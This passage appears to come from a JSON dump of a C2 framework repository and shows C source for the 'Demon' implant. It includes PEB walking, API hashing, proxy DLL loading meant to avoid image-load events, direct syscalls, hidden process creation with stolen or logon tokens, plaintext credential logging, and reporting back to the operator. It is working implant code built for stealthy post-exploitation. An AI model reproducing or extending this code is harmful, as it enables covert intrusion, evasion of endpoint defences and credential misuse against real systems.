MAX_PATH );\n    if ( ! Instance->Win32.InitializeAcl( SmbSecAttr->SAcl, MAX_PATH, ACL_REVISION_DS ) )\n    {\n        PRINTF( \"InitializeAcl failed: %u\\n\", NtGetLastError() );\n    }\n\n    if ( ! Instance->Win32.AddMandatoryAce( SmbSecAttr->SAcl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, SmbSecAttr->SidLow ) )\n    {\n        PRINTF( \"AddMandatoryAce failed: %u\\n\", NtGetLastError() );\n    }\n\n    // now build the descriptor\n    SmbSecAttr->SecDec = MmHeapAlloc( SECURITY_DESCRIPTOR_MIN_LENGTH );\n    if ( ! Instance->Win32.InitializeSecurityDescriptor( SmbSecAttr->SecDec, SECURITY_DESCRIPTOR_REVISION ) )\n    {\n        PRINTF( \"InitializeSecurityDescriptor failed: %u\\n\", NtGetLastError() );\n    }\n\n    if ( ! Instance->Win32.SetSecurityDescriptorDacl( SmbSecAttr->SecDec, TRUE, DAcl, FALSE ) )\n    {\n        PRINTF( \"SetSecurityDescriptorDacl failed: %u\\n\", NtGetLastError() );\n    }\n\n    if ( ! Instance->Win32.SetSecurityDescriptorSacl( SmbSecAttr->SecDec, TRUE, SmbSecAttr->SAcl, FALSE ) )\n    {\n        PRINTF( \"SetSecurityDescriptorSacl failed: %u\\n\", NtGetLastError() );\n    }\n\n    SecurityAttr->lpSecurityDescriptor = SmbSecAttr->SecDec;\n    SecurityAttr->bInheritHandle       = FALSE;\n    SecurityAttr->nLength              = sizeof( SECURITY_ATTRIBUTES );\n}\n\nVOID SmbSecurityAttrFree( PSMB_PIPE_SEC_ATTR SmbSecAttr )\n{\n    if ( SmbSecAttr->Sid )\n    {\n        Instance->Win32.FreeSid( SmbSecAttr->Sid );\n        SmbSecAttr->Sid = NULL;\n    }\n\n    if ( SmbSecAttr->SidLow )\n    {\n        Instance->Win32.FreeSid( SmbSecAttr->SidLow );\n        SmbSecAttr->SidLow = NULL;\n    }\n\n    if ( SmbSecAttr->SAcl )\n    {\n        MmHeapFree( SmbSecAttr->SAcl );\n        SmbSecAttr->SAcl = NULL;\n    }\n\n    if ( SmbSecAttr->SecDec )\n    {\n        MmHeapFree( SmbSecAttr->SecDec );\n        SmbSecAttr->SecDec = NULL;\n    }\n}\n\n#endif"
  },
  {
    "path": "payloads/Demon/src/core/Win32.c",
    "content": "#include <Demon.h>\n\n#include <core/Win32.h>\n#include <core/MiniStd.h>\n#include <core/Package.h>\n#include <core/Syscalls.h>\n#include <common/Macros.h>\n#include <common/Native.h>\n\n/*!\n * Extended String Hasher\n * @param String\n * @param Length\n * @param Upper\n * @return\n */\nULONG HashEx(\n    IN PVOID String,\n    IN ULONG Length,\n    IN BOOL  Upper\n) {\n    ULONG  Hash = HASH_KEY;\n    PUCHAR Ptr  = String;\n\n    if ( ! String ) {\n        return 0;\n    }\n\n    do {\n        UCHAR character = *Ptr;\n\n        if ( ! Length ) {\n            if ( ! * Ptr ) {\n                break;\n            }\n        } else {\n            if ( ( ULONG ) ( C_PTR( Ptr ) - String ) >= Length ) {\n                break;\n            }\n\n            if ( !*Ptr ) {\n                ++Ptr;\n            }\n        }\n\n        if ( Upper ) {\n            if ( character >= 'a' ) {\n                character -= 0x20;\n            }\n        }\n\n        Hash = ( ( Hash << 5 ) + Hash ) + character;\n\n        ++Ptr;\n    } while ( TRUE );\n\n    return Hash;\n}\n\n/*!\n * load module from PEB InLoadOrderModuleList by Hash\n * @param Hash\n * @return\n */\nPVOID LdrModulePeb(\n    IN DWORD Hash\n) {\n    PLDR_DATA_TABLE_ENTRY Ldr = NULL;\n    PLIST_ENTRY\t\t      Hdr = NULL;\n    PLIST_ENTRY\t\t      Ent = NULL;\n    PPEB\t\t\t      Peb = NULL;\n\n    /* Get pointer to list */\n    if ( ! Instance->Teb ) {\n        Instance->Teb = NtCurrentTeb();\n    }\n\n    Peb = Instance->Teb->ProcessEnvironmentBlock;\n    Hdr = & Peb->Ldr->InLoadOrderModuleList;\n    Ent = Hdr->Flink;\n\n    for ( ; Hdr != Ent ; Ent = Ent->Flink ) {\n        Ldr = C_PTR( Ent );\n\n        /* Compare the DLL Name! */\n        if ( ( HashEx( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length, TRUE ) == Hash ) || Hash == 0 ) {\n            return Ldr->DllBase;\n        }\n    }\n\n    return NULL;\n}\n\n/*!\n * load module from PEB InLoadOrderModuleList by String\n * @param Module name of module (needs to be upper case: MODULE.DLL)\n * @return\n */\nPVOID LdrModulePebByString(\n    IN LPWSTR Module\n) {\n    PLDR_DATA_TABLE_ENTRY Ldr  = NULL;\n    PLIST_ENTRY\t\t      Hdr  = NULL;\n    PLIST_ENTRY\t\t      Ent  = NULL;\n    PPEB\t\t\t      Peb  = NULL;\n    LPWSTR                Name = { 0 };\n    ULONG                 Idx  = 0;\n\n    /* Get pointer to list */\n    if ( ! Instance->Teb ) {\n        Instance->Teb = NtCurrentTeb();\n    }\n\n    Name = MmHeapAlloc( MAX_PATH );\n\n    Peb = Instance->Teb->ProcessEnvironmentBlock;\n    Hdr = & Peb->Ldr->InLoadOrderModuleList;\n    Ent = Hdr->Flink;\n\n    for ( ; Hdr != Ent ; Ent = Ent->Flink ) {\n        Ldr = C_PTR( Ent );\n\n        if ( Ldr->BaseDllName.Length <= 260 ) {\n\n            MemCopy( Name, Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length );\n\n            /* turn the module name from PEB to upper */\n            do {\n                if ( Idx < Ldr->BaseDllName.Length ) {\n                    if ( Name[ Idx ] >= 'a' ) {\n                        Name[ Idx ] -= 0x20;\n                    }\n                } else {\n                    break;\n                }\n\n                Idx++;\n            } while ( TRUE );\n            Idx = 0;\n\n            /* Compare the DLL Name! */\n            if ( ( StringCompareW( Name, Module ) == 0 ) || Module == NULL ) {\n                return Ldr->DllBase;\n            }\n\n            MemZero( Name, MAX_PATH );\n        }\n    }\n\n    if ( Name ) {\n        MemZero( Name, MAX_PATH );\n        MmHeapFree( Name );\n        Name = NULL;\n    }\n\n    return NULL;\n}\n\n/*!\n * Search for a DLL on the PEB module list\n *\n * @param ModuleName module name\n * @return\n */\nPVOID LdrModuleSearch(\n    IN LPWSTR ModuleName)\n{\n    PVOID                 FirstEntry  = NULL;\n    PLDR_DATA_TABLE_ENTRY Entry       = NULL;\n    WCHAR                 Name[ 260 ] = { 0 };\n    WCHAR                 Dll[ 5 ]    = { 0 };\n\n    Dll[ 3 ] = HideChar( 'L' );\n    Dll[ 1 ] = HideChar( 'D' );\n    Dll[ 4 ] = HideChar( '\\0' );\n    Dll[ 2 ] = HideChar( 'L' );\n    Dll[ 0 ] = HideChar( '.' );\n\n    Entry      = Instance->Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink;\n    FirstEntry = &Instance->Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink;\n\n    StringCopyW( Name, ModuleName );\n\n    if ( ! EndsWithIW( ModuleName, Dll ) )\n    {\n        StringConcatW( Name, Dll );\n    }\n\n    MemZero( Dll, sizeof( Dll ) );\n\n    do\n    {\n        if ( ! StringCompareIW( Name, Entry->BaseDllName.Buffer ) ) {\n            MemZero( Name, sizeof( Name ) );\n            return Entry->DllBase;\n        }\n        Entry = Entry->InLoadOrderLinks.Flink;\n    } while ( Entry != FirstEntry );\n\n    MemZero( Name, sizeof( Name ) );\n    return NULL;\n}\n\n/*!\n * Load Library by string name.\n *\n * @note\n *  based on how it is configured to load the module\n *  it either proxy calls LoadLibraryW using RtlRegisterWait/RtlCreateTimer/RtlQueueWorkItem\n *  or it directly uses LdrLoadDll.\n *\n * @param ModuleName module name to load\n * @return\n */\nPVOID LdrModuleLoad(\n    IN LPSTR ModuleName\n) {\n    UNICODE_STRING UnicodeString  = { 0 };\n    WCHAR          NameW[ 260 ]   = { 0 };\n    PVOID          Module         = { 0 };\n    USHORT         DestSize       = 0;\n    HANDLE         Event          = NULL;\n    HANDLE         Queue          = NULL;\n    HANDLE         Timer          = NULL;\n    DWORD          Count          = 5;\n    NTSTATUS       NtStatus       = STATUS_SUCCESS;\n\n    if ( ! ModuleName ) {\n        return NULL;\n    }\n\n    /* convert module ansi string to unicode string */\n    CharStringToWCharString( NameW, ModuleName, StringLengthA( ModuleName ) );\n\n    /* get size of module unicode string */\n    DestSize = StringLengthW( NameW ) * sizeof( WCHAR );\n\n    /* check if the module is already loaded */\n    Module = LdrModuleSearch( NameW );\n\n    /* if found, avoid generating an image-load event */\n    if ( Module ) {\n        return Module;\n    }\n\n    /* if proxy module loading is enabled */\n    if ( Instance->Config.Implant.ProxyLoading )\n    {\n        /* load library using RtlRegisterWait + LoadLibraryW */\n        if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLREGISTERWAIT ) && Instance->Win32.RtlRegisterWait )\n        {\n            PUTS( \"Loading module using RtlRegisterWait\" )\n\n            /* create an event for end of module loading */\n            if ( ! NT_SUCCESS( NtStatus = SysNtCreateEvent( &Event, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE ) ) ) {\n                goto DEFAULT;\n            }\n\n            /* call LoadLibraryW */\n            if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlRegisterWait( &Timer, Event, C_PTR( Instance->Win32.LoadLibraryW ), NameW, 0, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) {\n                PRINTF( \"RtlRegisterWait: %p\\n\", NtStatus )\n                goto DEFAULT;\n            }\n        }\n\n        /* load library using RtlCreateTimer + LoadLibraryW */\n        else if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLCREATETIMER ) && Instance->Win32.RtlCreateTimer )\n        {\n            PUTS( \"Loading module using RtlCreateTimer\" )\n\n            /* create timer queue */\n            if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimerQueue( &Queue ) ) ) {\n                PRINTF( \"RtlCreateTimerQueue Failed => %p\\n\", NtStatus )\n                goto DEFAULT;\n            }\n\n            /* call LoadLibraryW */\n            if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.LoadLibraryW ), NameW, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) ) {\n                PRINTF( \"RtlCreateTimer: %p\\n\", NtStatus )\n                goto DEFAULT;\n            }\n        }\n        /* load library using RtlQueueWorkItem + LoadLibraryW */\n        else if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLQUEUEWORKITEM ) && Instance->Win32.RtlQueueWorkItem )\n        {\n            PUTS( \"Loading module using RtlQueueWorkItem\" )\n\n            /* call LoadLibraryW and load specified module */\n            if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlQueueWorkItem( C_PTR( Instance->Win32.LoadLibraryW ), NameW, WT_EXECUTEDEFAULT ) ) ) {\n                PRINTF( \"RtlQueueWorkItem Failed: %p\\n\", NtStatus )\n\n                /* if we failed to load the module via RtlQueueWorkItem + LoadLibraryW then\n                 * try to load it using LdrLoadDll */\n                goto DEFAULT;\n            }\n        } else {\n            goto DEFAULT;\n        }\n\n\n        do {\n            /* after 5 times checking give up.\n             * use LdrLoadDll instead */\n            if ( ! Count ) {\n                break;\n            }\n\n            /* now let's try to get the module\n             * if we failed to load the module then try using LdrLoadDll\n             * NOTE: we are getting the module by string because there are some hash collisions\n             *       when using LdrModulePeb */\n            if ( ( Module = LdrModulePebByString( NameW ) ) ) {\n                break;\n            }\n\n            /* a little delay between each PEB check */\n            SharedSleep( 100 );\n\n            /* decrease counter */\n            Count--;\n        } while ( TRUE );\n\n        /* if module still hasn't been found then go to default */\n        if ( ! Module ) {\n            PUTS( \"Module was not loaded, try with default technique\" )\n            goto DEFAULT;\n        }\n    }\n    else\n    {\n    DEFAULT:\n        /* load library using LdrLoadDll */\n        if ( Instance->Win32.LdrLoadDll )\n        {\n            PUTS( \"Loading module using LdrLoadDll\" )\n\n            /* prepare unicode string */\n            UnicodeString.Buffer        = NameW;\n            UnicodeString.Length        = DestSize;\n            UnicodeString.MaximumLength = DestSize + sizeof( WCHAR );\n\n            if ( ! NT_SUCCESS( NtStatus = Instance->Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) ) {\n                PRINTF( \"LdrLoadDll Failed: %p\\n\", NtStatus )\n                NtSetLastError( NtStatus );\n            }\n        }\n    }\n\nEND:\n    /* clear stuff from stack */\n    MemZero( NameW, sizeof( NameW ) );\n    MemZero( &UnicodeString, sizeof( UnicodeString ) );\n\n    PRINTF( \"Module \\\"%s\\\": %p\\n\", ModuleName, Module )\n\n    /* close event end */\n    if ( Event ) {\n        SysNtClose( Event );\n        Event = NULL;\n    }\n\n    /* close queue */\n    if ( Queue ) {\n        Instance->Win32.RtlDeleteTimerQueue( Queue );\n        Queue = NULL;\n    }\n\n    return Module;\n}\n\n/*!\n * gets the function pointer\n * @param Module\n * @param FunctionHash\n * @return\n */\nPVOID LdrFunctionAddr(\n    IN PVOID Module,\n    IN DWORD Hash\n) {\n    PIMAGE_NT_HEADERS       NtHeader         = { 0 };\n    PIMAGE_EXPORT_DIRECTORY ExpDirectory     = { 0 };\n    SIZE_T                  ExpDirectorySize = { 0 };\n    PDWORD                  AddrOfFunctions  = { 0 };\n    PDWORD                  AddrOfNames      = { 0 };\n    PWORD                   AddrOfOrdinals   = { 0 };\n    PVOID                   FunctionAddr     = { 0 };\n    PCHAR                   FunctionName     = { 0 };\n    ANSI_STRING             AnsiString       = { 0 };\n\n    if ( ! Module || ! Hash )\n        return NULL;\n\n    NtHeader         = C_PTR( Module + ( ( PIMAGE_DOS_HEADER ) Module )->e_lfanew );\n    ExpDirectory     = C_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );\n    ExpDirectorySize = U_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size );\n\n    AddrOfNames      = C_PTR( Module + ExpDirectory->AddressOfNames );\n    AddrOfFunctions  = C_PTR( Module + ExpDirectory->AddressOfFunctions );\n    AddrOfOrdinals   = C_PTR( Module + ExpDirectory->AddressOfNameOrdinals );\n\n    for ( DWORD i = 0; i < ExpDirectory->NumberOfNames; i++ )\n    {\n        FunctionName = ( PCHAR ) Module + AddrOfNames[ i ];\n        if ( HashEx( FunctionName, 0, TRUE ) == Hash )\n        {\n            FunctionAddr = C_PTR( Module + AddrOfFunctions[ AddrOfOrdinals[ i ] ] );\n\n            /* if this is a redirect function then use LdrGetProcedureAddress */\n            if ( ( ULONG_PTR ) FunctionAddr >= ( ULONG_PTR ) ExpDirectory &&\n                 ( ULONG_PTR ) FunctionAddr <  ( ULONG_PTR ) ExpDirectory + ExpDirectorySize )\n            {\n                AnsiString.Length        = StringLengthA( FunctionName );\n                AnsiString.MaximumLength = AnsiString.Length + sizeof( CHAR );\n                AnsiString.Buffer        = FunctionName;\n\n                if ( Instance->Win32.LdrGetProcedureAddress ) {\n                    if ( ! NT_SUCCESS( Instance->Win32.LdrGetProcedureAddress( Module, &AnsiString, 0, &FunctionAddr ) ) ) {\n                        return NULL;\n                    }\n                } else {\n                    return NULL;\n                }\n            }\n\n            return FunctionAddr;\n        }\n    }\n\n    PRINTF( \"API not found: FunctionHash:[%lx]\\n\", Hash )\n\n    return NULL;\n}\n\n/*\n * Get the size of an NtApi by finding two consecutive syscalls\n * and returning the difference of their addresses.\n * This can't be static because it changes between releases.\n */\nUINT32 GetSyscallSize(\n    VOID\n) {\n    PVOID                   Module           = Instance->Modules.Ntdll;\n    PIMAGE_NT_HEADERS       NtHeader         = { 0 };\n    PIMAGE_EXPORT_DIRECTORY ExpDirectory     = { 0 };\n    SIZE_T                  ExpDirectorySize = { 0 };\n    PDWORD                  AddrOfFunctions  = { 0 };\n    PDWORD                  AddrOfNames      = { 0 };\n    PWORD                   AddrOfOrdinals   = { 0 };\n    PVOID                   FunctionAddr     = { 0 };\n    PCHAR                   FunctionName     = { 0 };\n    ANSI_STRING             AnsiString       = { 0 };\n    PVOID                   Addr1            = NULL;\n    PVOID                   Addr2            = NULL;\n    UINT32                  SyscallSize      = 0;\n    UINT32                  Offset           = 0;\n\n    if ( ! Module )\n        return 0;\n\n    if ( Instance->Syscall.Size )\n        return Instance->Syscall.Size;\n\n    NtHeader         = C_PTR( Module + ( ( PIMAGE_DOS_HEADER ) Module )->e_lfanew );\n    ExpDirectory     = C_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );\n    ExpDirectorySize = U_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size );\n\n    AddrOfNames      = C_PTR( Module + ExpDirectory->AddressOfNames );\n    AddrOfFunctions  = C_PTR( Module + ExpDirectory->AddressOfFunctions );\n    AddrOfOrdinals   = C_PTR( Module + ExpDirectory->AddressOfNameOrdinals );\n\n    for ( DWORD i = 0; i < ExpDirectory->NumberOfNames; i++ )\n    {\n        /* ignore redirect functions */\n        if ( ( ULONG_PTR ) FunctionAddr >= ( ULONG_PTR ) ExpDirectory &&\n             ( ULONG_PTR ) FunctionAddr <  ( ULONG_PTR ) ExpDirectory + ExpDirectorySize )\n            continue;\n\n        // make sure is a system call\n        FunctionName = ( PCHAR ) Module + AddrOfNames[ i ];\n        if (*(USHORT*)FunctionName != 0x775a)\n            continue;\n\n        // save one random syscall addr\n        if ( ! Addr1 )\n        {\n            Addr1 = C_PTR( Module + AddrOfFunctions[ AddrOfOrdinals[ i ] ] );\n            continue;\n        }\n        else\n        {\n            // get the distance between our saved syscall addr and this one\n            Addr2  = C_PTR( Module + AddrOfFunctions[ AddrOfOrdinals[ i ] ] );\n            Offset = ( ULONG_PTR ) Addr1 > ( ULONG_PTR ) Addr2 ? ( ULONG_PTR ) Addr1 - ( ULONG_PTR ) Addr2 : ( ULONG_PTR ) Addr2 - ( ULONG_PTR ) Addr1;\n\n            // if the distance is the smallest we have seen so far, save it\n            if ( ! SyscallSize || Offset < SyscallSize ) {\n                SyscallSize = Offset;\n            }\n        }\n    }\n\n    // by now, we should have the size of a syscall stub\n    Instance->Syscall.Size = SyscallSize;\n\n    return Instance->Syscall.Size;\n}\n\n/*!\n * opens a handle to the specified pid with specified access\n * @param ProcessID\n * @param Access\n * @return\n */\nHANDLE ProcessOpen(\n    IN DWORD Pid,\n    IN DWORD Access\n) {\n    HANDLE    Process  = NULL;\n    CLIENT_ID Client   = { 0 };\n    OBJ_ATTR  ObjAttr  = { 0 };\n    NTSTATUS  NtStatus = STATUS_SUCCESS;\n\n    InitializeObjectAttributes( &ObjAttr, NULL, 0, NULL, NULL );\n\n    /* set our target process */\n    Client.UniqueProcess = C_PTR( Pid );\n\n    /* open process handle */\n    if ( ! NT_SUCCESS( NtStatus = SysNtOpenProcess( &Process, Access, &ObjAttr, &Client ) ) ) {\n        PRINTF( \"NtOpenProcess Failed => %lx\\n\", NtStatus )\n        NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n        return NULL;\n    }\n\n    return Process;\n}\n\n/*!\n * checks if a process runs under Wow64\n * @param Process\n * @return\n */\nBOOL ProcessIsWow(\n    IN HANDLE Process\n) {\n    PVOID    IsWow64  = NULL;\n    NTSTATUS NtStatus = STATUS_SUCCESS;\n\n    if ( ! Process ) {\n        return FALSE;\n    }\n\n    if ( Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) {\n        return FALSE;\n    }\n\n    if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationProcess( Process, ProcessWow64Information, &IsWow64, sizeof( PVOID ), NULL ) ) ) {\n        PRINTF( \"[!] NtQueryInformationProcess Failed: Handle[%x] Status[%lx]\\n\", Process, NtStatus )\n        return FALSE;\n    }\n\n    return U_PTR( IsWow64 );\n}\n\n/*!\n * Starts a Process\n *\n * @param x86 start 32-bit/wow64 process\n * @param App App path\n * @param CmdLine Process to run\n * @param Flags Process Flags\n * @param ProcessInfo Process Information struct\n * @param Piped Send output back\n * @param AnonPipes Uses Anon pipe struct as default pipe. only works if Piped is to False\n * @brief Spawns a process with current set settings (ppid spoof, blockdll, token)\n * @return\n */\nBOOL ProcessCreate(\n    IN  BOOL                 x86,\n    IN  LPWSTR               App,\n    IN  LPWSTR               CmdLine,\n    IN  DWORD                Flags,\n    OUT PROCESS_INFORMATION* ProcessInfo,\n    IN  BOOL                 Piped,\n    IN  PANONPIPE            DataAnonPipes\n) {\n    PPACKAGE        Package            = NULL;\n    PANONPIPE       AnonPipe           = { 0 };\n    STARTUPINFOW    StartUpInfo        = { 0 };\n    BOOL            Return             = TRUE;\n    PVOID           Wow64Value         = NULL;\n    BOOL            DisabledWow64Redir = FALSE;\n    BOOL            DisabledImp        = FALSE;\n    HANDLE          PrimaryToken       = NULL;\n\n    StartUpInfo.cb          = sizeof( STARTUPINFOA );\n    StartUpInfo.dwFlags     = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;\n    StartUpInfo.wShowWindow = SW_HIDE;\n\n    Package = PackageCreate( DEMON_INFO );\n    PackageAddInt32( Package, DEMON_INFO_PROC_CREATE );\n\n    if ( Piped )\n    {\n        PUTS( \"Piped enabled\" )\n        AnonPipe = Instance->Win32.LocalAlloc( LPTR, sizeof( ANONPIPE ) );\n        MemSet( AnonPipe, 0, sizeof( ANONPIPE ) );\n        AnonPipesInit( AnonPipe );\n\n        StartUpInfo.hStdError  = AnonPipe->StdOutWrite;\n        StartUpInfo.hStdOutput = AnonPipe->StdOutWrite;\n        StartUpInfo.hStdInput  = NULL;\n    }\n\n    if ( DataAnonPipes ) {\n        PUTS( \"Using specified anon pipes\" )\n        StartUpInfo.hStdError  = DataAnonPipes->StdOutWrite;\n        StartUpInfo.hStdOutput = DataAnonPipes->StdOutWrite;\n        StartUpInfo.hStdInput  = NULL;\n    }\n\n#if _M_IX86\n    if ( ! x86 && Instance->Win32.Wow64DisableWow64FsRedirection )\n    {\n        PUTS( \"Enable Wow64 process support\" )\n        if ( ! Instance->Win32.Wow64DisableWow64FsRedirection( &Wow64Value ) )\n        {\n            PRINTF( \"Failed to disable wow64 redirection: %d : %x\\n\", NtGetLastError(), Wow64Value )\n            PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n            Return = FALSE;\n            goto Cleanup;\n        }\n\n        DisabledWow64Redir = TRUE;\n    }\n#endif\n\n    if ( Instance->Tokens.Impersonate )\n    {\n        PUTS( \"Impersonate\" )\n\n        LPWSTR lpCurrentDirectory   = NULL;\n        WCHAR  Path[ MAX_PATH * 2 ] = { 0 };\n\n        if ( Instance->Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) {\n            lpCurrentDirectory = Path;\n        }\n\n        DisabledImp = TRUE;\n        TokenImpersonate( FALSE );\n        TokenSetSeImpersonatePriv( TRUE );\n\n        PRINTF( \"CmdLine           : %ls\\n\", CmdLine )\n        PRINTF( \"lpCurrentDirectory: %ls\\n\", lpCurrentDirectory )\n\n        if ( Instance->Tokens.Token->Type == TOKEN_TYPE_STOLEN )\n        {\n            // Duplicate to make primary token (try delegation first)\n            if ( ! SysDuplicateTokenEx( Instance->Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &PrimaryToken ) )\n            {\n                if ( ! SysDuplicateTokenEx( Instance->Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &PrimaryToken ) )\n                {\n                    PRINTF( \"Failed to duplicate token [%d]\\n\", NtGetLastError() );\n                    PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n                    Return = FALSE;\n                    goto Cleanup;\n                }\n            }\n\n            PUTS( \"CreateProcessWithTokenW\" )\n            if ( ! Instance->Win32.CreateProcessWithTokenW(\n                    PrimaryToken,\n                    LOGON_NETCREDENTIALS_ONLY,\n                    App,\n                    CmdLine,\n                    Flags | CREATE_NO_WINDOW,\n                    NULL,\n                    lpCurrentDirectory,\n                    &StartUpInfo,\n                    ProcessInfo\n            )\n                    )\n            {\n                PRINTF( \"CreateProcessWithTokenW: Failed [%d]\\n\", NtGetLastError() );\n                PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n                Return = FALSE;\n                goto Cleanup;\n            }\n        }\n        else if ( Instance->Tokens.Token->Type == TOKEN_TYPE_MAKE_NETWORK )\n        {\n            PUTS( \"CreateProcessWithLogonW\" )\n            PRINTF( \"lpUser[%s] lpDomain[%s] lpPassword[%s]\", Instance->Tokens.Token->lpUser, Instance->Tokens.Token->lpDomain, Instance->Tokens.Token->lpPassword )\n            if ( ! Instance->Win32.CreateProcessWithLogonW(\n                    Instance->Tokens.Token->lpUser,\n                    Instance->Tokens.Token->lpDomain,\n                    Instance->Tokens.Token->lpPassword,\n                    LOGON_NETCREDENTIALS_ONLY,\n                    App,\n                    CmdLine,\n                    Flags | CREATE_NO_WINDOW,\n                    NULL,\n                    lpCurrentDirectory,\n                    &StartUpInfo,\n                    ProcessInfo\n            ) ) {\n                PRINTF( \"CreateProcessWithLogonW: Failed [%d]\\n\", NtGetLastError() );\n                PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n                Return = FALSE;\n                goto Cleanup;\n            }\n        }\n    }\n    else\n    {\n        if ( ! Instance->Win32.CreateProcessW(\n                App,\n                CmdLine,\n                NULL,\n                NULL,\n                TRUE,\n                Flags | CREATE_NO_WINDOW,\n                NULL,\n                NULL,\n                &StartUpInfo,\n                ProcessInfo\n        ) ) {\n            PRINTF( \"CreateProcessA: Failed [%d]\\n\", NtGetLastError() );\n            PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n            Return = FALSE;\n            goto Cleanup;\n        }\n    }\n\n    /* Check if we managed to spawn a process */\n    if ( ProcessInfo->hProcess && Instance->Config.Implant.Verbose )\n    {\n        PUTS( \"Send info back\" )\n        if ( ! CmdLine )\n        {\n            PackageAddWString( Package, App );\n            PackageAddInt32( Package, ProcessInfo->dwProcessId );\n            PackageTransmit( Package );\n        }\n        else\n        {\n            INT32 i  = 0;\n            INT32 x  = ( INT32 ) StringLengthW( CmdLine );\n            PWCHAR s = Instance->Win32.LocalAlloc( LPTR, x * sizeof( WCHAR ) );\n\n            MemCopy( s, CmdLine, x );\n\n            // remove the arguments. we are just interested in the process name/path\n            for ( ; i < x; i++ ) {\n                if ( s[ i ] == ' ' ) break;\n            } PUTS( s )\n            s[ i ] = 0;\n\n            PRINTF( \"Process start :: Path:[%ls] ProcessId:[%d]\\n\", s, ProcessInfo->dwProcessId );\n\n            PackageAddWString( Package, s );\n            PackageAddInt32( Package, ProcessInfo->dwProcessId );\n            PackageTransmit( Package );\n\n            DATA_FREE( s, x );\n        }\n    }\n\n    Cleanup:\n#if _M_IX86\n    if ( DisabledWow64Redir ) {\n        Instance->Win32.Wow64RevertWow64FsRedirection( Wow64Value );\n    }\n#endif\n\n    if ( Return && Piped ) {\n        JobAdd( Instance->CurrentRequestID, ProcessInfo->dwProcessId, JOB_TYPE_TRACK_PROCESS, JOB_STATE_RUNNING, ProcessInfo->hProcess, AnonPipe );\n    }\n    else if ( ! Return && Piped )\n    {\n        if ( AnonPipe->StdOutWrite ) {\n            SysNtClose( AnonPipe->StdOutWrite );\n            AnonPipe->StdOutWrite = NULL;\n        }\n\n        if ( AnonPipe->StdOutRead ) {\n            SysNtClose( AnonPipe->StdOutRead );\n            AnonPipe->StdOutRead = NULL;\n        }\n\n        DATA_FREE( AnonPipe, sizeof( ANONPIPE ) );\n    }\n\n    if ( PrimaryToken ) {\n        SysNtClose( PrimaryToken );\n    }\n\n    if ( DisabledImp ) {\n        TokenImpersonate( TRUE );\n    }\n\n    return Return;\n}\n\nBOOL ProcessTerminate(\n    IN HANDLE hProcess,\n    IN DWORD  Pid)\n{\n    BOOL     Success      = FALSE;\n    BOOL     OpenedHandle = FALSE;\n    NTSTATUS NtStatus     = STATUS_UNSUCCESSFUL;\n\n    if ( ! hProcess ) {\n        if ( ( hProcess = ProcessOpen( Pid, PROCESS_TERMINATE ) ) == NULL ) {\n            PRINTF( \"[INJECT] Failed to open process handle: %d\\n\", NtGetLastError() )\n            hProcess = NULL;\n            goto END;\n        } else {\n            PRINTF( \"[INJECT] Opened process handle to %d: %x\\n\", Pid, hProcess )\n            OpenedHandle = TRUE;\n        }\n    } else {\n        PRINTF( \"[INJECT] Using specified process handle: %x\\n\", hProcess )\n    }\n\n    NtStatus = SysNtTerminateProcess( hProcess, STATUS_SUCCESS );\n    if ( NT_SUCCESS( NtStatus ) ) {\n        Success = TRUE;\n    } else {\n        PUTS( \"Failed to terminate process\" )\n    }\n\nEND:\n    if ( OpenedHandle ) {\n        SysNtClose( hProcess );\n    }\n\n    return Success;\n}\n\n/*!\n * takes a snapshot of current running processes\n * @param SnapShot\n * @param Size\n * @return\n */\nNTSTATUS ProcessSnapShot(\n    OUT PSYSTEM_PROCESS_INFORMATION* SnapShot,\n    OUT PSIZE_T                      Size\n) {\n    ULONG    Length   = 0;\n    NTSTATUS NtStatus = STATUS_SUCCESS;\n\n    if ( ! SnapShot || ! Size ) {\n        return STATUS_INVALID_PARAMETER;\n    }\n\n    /* Get our system process list */\n    if ( ! NT_SUCCESS( NtStatus = SysNtQuerySystemInformation( SystemProcessInformation, NULL, 0, &Length ) ) )\n    {\n        PRINTF( \"SystemProcessInformation Length: %d\\n\", Length );\n\n        /* just in case that some processes or threads where created between our calls */\n        Length += 0x1000;\n\n        /* allocate memory */\n        *SnapShot = MmHeapAlloc( Length );\n        if ( *SnapShot ) {\n            if ( ! 